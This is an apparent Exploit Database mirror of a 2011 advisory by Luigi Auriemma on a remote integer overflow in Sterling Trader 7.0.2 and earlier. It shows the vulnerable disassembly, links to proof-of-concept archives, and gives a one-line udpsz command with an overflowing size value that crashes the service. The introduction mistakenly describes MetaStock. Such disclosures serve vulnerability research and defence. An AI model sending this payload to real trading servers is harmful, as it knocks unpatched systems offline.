Sterling Trader 7.0.2 – Integer Overflow

• Exploit Database
• 123 阅读

• 作者： Luigi Auriemma
  日期： 2011-09-26
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/17889/
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  #######################################################################   Luigi Auriemma   Application:Sterling Trader http://www.sterlingtrader.com/Trading_Platforms/trading_platforms2.html Versions: <= 7.0.2 Platforms:Windows Bug:integer overflow Exploitation: remote Date: 25 Sep 2011 Author: Luigi Auriemma e-mail: aluigi@autistici.org web:aluigi.org     #######################################################################     1) Introduction 2) Bug 3) The Code 4) Fix     #######################################################################   =============== 1) Introduction ===============     MetaStock is the most used and awarded software for performing technical analysis of stocks, futures, forex, commodities, indices and other financial instruments.     #######################################################################   ====== 2) Bug ======     When this program is running (Base.exe or Elite.exe) it listens on the first available TCP port which changes each time and it&apos;s affected by an integer overflow vulnerability:   004922E3 > 83BF BC001000 10 CMP DWORD PTR DS:[EDI+1000BC],10 004922EA . 0F8C 66010000JL Elite.00492456 004922F0 . 8D46 0CLEA EAX,DWORD PTR DS:[ESI+C] 004922F3 . 50 PUSH EAX; &num2 004922F4 . 8D6E 08LEA EBP,DWORD PTR DS:[ESI+8] 004922F7 . 55 PUSH EBP; &num1 (size) 004922F8 . 68 9C23A000PUSH Elite.00A0239C ; "1=%d~2=%d~" 004922FD . 53 PUSH EBX 004922FE . E8 7CA44600CALL Elite.008FC77F ; sscanf 00492303 . 83C4 10ADD ESP,10 00492306 . 83F8 02CMP EAX,2 00492309 . 0F85 4D010000JNZ Elite.0049245C 0049230F . 8B55 00MOV EDX,DWORD PTR SS:[EBP] 00492312 . 83C2 10ADD EDX,10; size + 0x10 00492315 . B9 31000000MOV ECX,31 0049231A . 66:898E 84000000 MOV WORD PTR DS:[ESI+84],CX 00492321 . 8956 04MOV DWORD PTR DS:[ESI+4],EDX 00492324 . C746 70 10000000 MOV DWORD PTR DS:[ESI+70],10 0049232B . 33ED XOR EBP,EBP 0049232D > 8B87 BC001000MOV EAX,DWORD PTR DS:[EDI+1000BC] 00492333 . 3B46 04CMP EAX,DWORD PTR DS:[ESI+4] 00492336 . 0F8C 3E010000JL Elite.0049247A 0049233C . 89AF C0001000MOV DWORD PTR DS:[EDI+1000C0],EBP 00492342 . 8B4E 04MOV ECX,DWORD PTR DS:[ESI+4] 00492345 . 41 INC ECX ; size + 1 00492346 . 51 PUSH ECX 00492347 . E8 C0673F00CALL Elite.00888B0C ; malloc() 0049234C . 8B56 04MOV EDX,DWORD PTR DS:[ESI+4] 0049234F . 52 PUSH EDX 00492350 . 53 PUSH EBX 00492351 . 50 PUSH EAX 00492352 . 8946 6CMOV DWORD PTR DS:[ESI+6C],EAX 00492355 . E8 36774600CALL Elite.008F9A90 ; memcpy     #######################################################################   =========== 3) The Code ===========     http://aluigi.org/testz/udpsz.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17879.zip   udpsz -b a -T -c "1=4294967279~2=0~" SERVER PORT 0xffff     #######################################################################   ====== 4) Fix ======     No fix.     #######################################################################